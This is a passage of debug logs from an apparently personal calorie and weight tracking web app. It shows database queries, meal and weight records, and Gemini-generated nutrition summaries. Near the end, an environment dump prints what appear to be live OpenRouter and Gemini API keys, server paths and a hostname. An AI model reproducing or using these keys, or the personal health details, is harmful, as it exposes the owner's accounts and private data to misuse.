    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T03:44:01.832Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  }
]
2025-12-22T03:44:01.832Z server-connect:app Executing action step setvalue
2025-12-22T03:44:01.832Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T03:44:01.832Z server-connect:output var_total: 425
2025-12-22T03:44:01.833Z server-connect:app Executing action step setvalue
2025-12-22T03:44:01.833Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T03:44:01.833Z server-connect:output var_consumed: 18
2025-12-22T03:44:01.833Z server-connect:app Executing action step setvalue
2025-12-22T03:44:01.833Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T03:44:01.833Z server-connect:output var_deficit: 1975
2025-12-22T03:44:01.833Z server-connect:app Executing action step custom
2025-12-22T03:44:01.833Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T03:44:01.835Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '425',
    surplus_or_deficit: '1975',
    status_flag: 2
  }
]
2025-12-22T03:44:02.342Z server-connect:app Executing action step identify
2025-12-22T03:44:02.342Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:02.342Z server-connect:output identity: 1
2025-12-22T03:44:02.726Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-22T03:44:02.727Z server-connect:app Executing action step identify
2025-12-22T03:44:02.727Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:02.727Z server-connect:output identity: 1
2025-12-22T03:44:02.727Z server-connect:app Executing action step restrict
2025-12-22T03:44:02.727Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:44:02.728Z server-connect:output restrict: undefined
2025-12-22T03:44:02.728Z server-connect:app Executing action step select
2025-12-22T03:44:02.728Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-22T03:44:02.730Z server-connect:output items_consumed_today: [
  {
    id: 478,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium'
  },
  {
    id: 479,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 480,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 481,
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)'
  },
  {
    id: 482,
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)'
  }
]
2025-12-22T03:44:02.730Z server-connect:app Executing action step paged
2025-12-22T03:44:02.730Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-22T03:44:02.733Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 17,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-22T03:44:02.733Z server-connect:app Executing action step run
2025-12-22T03:44:02.733Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T03:44:02.734Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '\n'
2025-12-22T03:44:02.734Z server-connect:app Executing action step run
2025-12-22T03:44:02.734Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-22T03:44:02.736Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-22T03:44:02.736Z server-connect:app Executing action step setvalue
2025-12-22T03:44:02.736Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-22T03:44:02.736Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 478 | Banana | 105 | 1 | 27 | 0 | 1 medium |\n' +
  '| 479 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 480 | Whey Protein | 120 | 27 | 3 | 2 | 1 scoop (27g protein) |\n' +
  '| 481 | Wheat Semolina Pasta (homemade) | 150 | 5 | 30 | 1 | 1 serving (approx 100g cooked) |\n' +
  '| 482 | Matar (Green Peas) | 40 | 3 | 7 | 0 | Mixed with pasta (approx 50g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-22T03:44:02.736Z server-connect:app Executing action step processWithGemini
2025-12-22T03:44:02.736Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-22T03:44:04.311Z server-connect:output health_summary: {
  summary: "Today's food intake appears to be focused on post-workout recovery with a protein source and a carbohydrate-rich meal. The inclusion of a banana and pre-workout is appropriate for energy. However, the overall meal composition lacks diversity and may not fully support muscle development and fat loss goals without additional nutrient-dense foods throughout the day. Consistency in this pattern might lead to slow progress.",
  rating: 5,
  good_points: [
    'Inclusion of whey protein post-workout for muscle recovery.',
    'Consumption of a banana for quick energy.',
    'Pre-workout supplement use for gym performance.'
  ],
  bad_points: [
    'Limited variety in food choices for the day.',
    'Potential lack of sufficient fiber and micronutrients.',
    'Meal timing seems heavily concentrated around the workout.'
  ],
  suggestions: [
    'Incorporate more vegetables and diverse protein sources throughout the day.',
    'Ensure adequate hydration by drinking plenty of water.',
    'Consider adding healthy fats to meals for satiety and nutrient absorption.',
    'Distribute protein intake more evenly across meals.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 69.6
}
2025-12-22T03:44:04.311Z server-connect:app Executing action step condition
2025-12-22T03:44:04.311Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-22T03:44:04.311Z server-connect:app Executing action step delete
2025-12-22T03:44:04.311Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-22T03:44:04.312Z server-connect:output delete: { affected: 0 }
2025-12-22T03:44:04.312Z server-connect:app Executing action step insert
2025-12-22T03:44:04.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-22T03:44:04.313Z server-connect:output insert: { affected: 1, identity: 53 }
2025-12-22T03:44:04.313Z server-connect:output condition: undefined
2025-12-22T03:44:04.522Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T03:44:04.522Z server-connect:app Executing action step identify
2025-12-22T03:44:04.522Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:04.522Z server-connect:output identity: 1
2025-12-22T03:44:04.522Z server-connect:app Executing action step restrict
2025-12-22T03:44:04.522Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:04.522Z server-connect:output restrict: undefined
2025-12-22T03:44:04.522Z server-connect:app Executing action step single
2025-12-22T03:44:04.522Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T03:44:04.523Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "Today's food intake appears to be focused on post-workout recovery with a protein source and a carbohydrate-rich meal. The inclusion of a banana and pre-workout is appropriate for energy. However, the overall meal composition lacks diversity and may not fully support muscle development and fat loss goals without additional nutrient-dense foods throughout the day. Consistency in this pattern might lead to slow progress.",
    bad_points: [
      'Limited variety in food choices for the day.',
      'Potential lack of sufficient fiber and micronutrients.',
      'Meal timing seems heavily concentrated around the workout.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Consumption of a banana for quick energy.',
      'Pre-workout supplement use for gym performance.'
    ],
    suggestions: [
      'Incorporate more vegetables and diverse protein sources throughout the day.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding healthy fats to meals for satiety and nutrient absorption.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T03:50:26.900Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T03:50:26.901Z server-connect:app Executing action step identify
2025-12-22T03:50:26.901Z server-connect:app options: { provider: 'security' }
2025-12-22T03:50:26.901Z server-connect:output identity: 1
2025-12-22T03:50:26.901Z server-connect:app Executing action step restrict
2025-12-22T03:50:26.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:50:26.903Z server-connect:output restrict: undefined
2025-12-22T03:50:26.903Z server-connect:app Executing action step processWithGemini
2025-12-22T03:50:26.903Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T03:50:32.378Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'KFC Smokie Leg',
      quantity: '2 pieces',
      calories_per_serving: 280,
      total_calories: 560,
      protein: 28,
      carbs: 12,
      fat: 14,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While a good source of protein, KFC fried chicken is high in unhealthy fats and sodium due to deep frying. For muscle development, leaner protein sources are preferred.'
    },
    {
      food_name: 'KFC Chicken Wings',
      quantity: '2 pieces',
      calories_per_serving: 130,
      total_calories: 260,
      protein: 10,
      carbs: 6,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Similar to the smokie leg, KFC fried chicken wings are high in unhealthy fats and sodium. Better to opt for grilled or baked versions.'
    },
    {
      food_name: 'KFC Chicken Piece',
      quantity: '1 piece (assuming regular size, e.g., thigh or breast)',
      calories_per_serving: 320,
      total_calories: 320,
      protein: 30,
      carbs: 15,
      fat: 16,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Another fried chicken item from KFC, contributing to high unhealthy fat and sodium intake. Prioritize leaner cooking methods for muscle gain.'
    },
    {
      food_name: 'Lime Crush',
      quantity: '1 serving (approx. 300ml)',
      calories_per_serving: 120,
      total_calories: 120,
      protein: 0,
      carbs: 30,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'Lime crush, especially from fast food chains, is typically loaded with sugar and offers minimal nutritional value. It contributes to empty calories and can hinder muscle development goals by adding unnecessary sugar.'
    },
    {
      food_name: 'Hyderabadi Chicken Curry',
      quantity: 'Half portion (5 pieces of chicken)',
      calories_per_serving: 400,
      total_calories: 400,
      protein: 35,
      carbs: 10,
      fat: 25,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While a good source of protein, restaurant-style Hyderabadi chicken curry can be high in oil/ghee and cream, increasing fat content. For muscle development, a homemade version with controlled fat is better.'
    }
  ],
  total_macros: {
    total_calories: 1660,
    total_protein: 103,
    total_carbs: 73,
    total_fat: 63,
    unit: 'grams'
  },
  overall_assessment: 'Given your goal of muscle development and early morning gym sessions, this meal is high in calories and unhealthy fats, primarily from the fried KFC items and the rich curry. The lime crush is pure empty calories. While it provides a good amount of protein, the quality of calories could be significantly improved.',
  suggestions_for_muscle_development: [
    'Prioritize lean protein sources like grilled chicken breast, fish, eggs, and legumes.',
    'Reduce intake of fried foods and opt for baked, grilled, or boiled preparations.',
    'Limit sugary drinks; choose water, unsweetened tea, or black coffee.',
    'Include complex carbohydrates like brown rice, quinoa, oats, and whole-wheat bread for sustained energy.',
    'Incorporate healthy fats from avocados, nuts, seeds, and olive oil in moderation.',
    'Consider a post-workout protein shake to aid muscle recovery.'
  ]
}
2025-12-22T03:50:59.214Z server-connect:router Serving templateView /weight-trackor
2025-12-22T03:50:59.215Z server-connect:app Executing action step identify
2025-12-22T03:50:59.215Z server-connect:app options: { provider: 'security' }
2025-12-22T03:50:59.215Z server-connect:output identity: 1
2025-12-22T03:50:59.215Z server-connect:app Executing action step restrict
2025-12-22T03:50:59.215Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:50:59.216Z server-connect:output restrict: undefined
2025-12-22T03:50:59.216Z server-connect:router Render template weight-trackor
2025-12-22T03:50:59.216Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
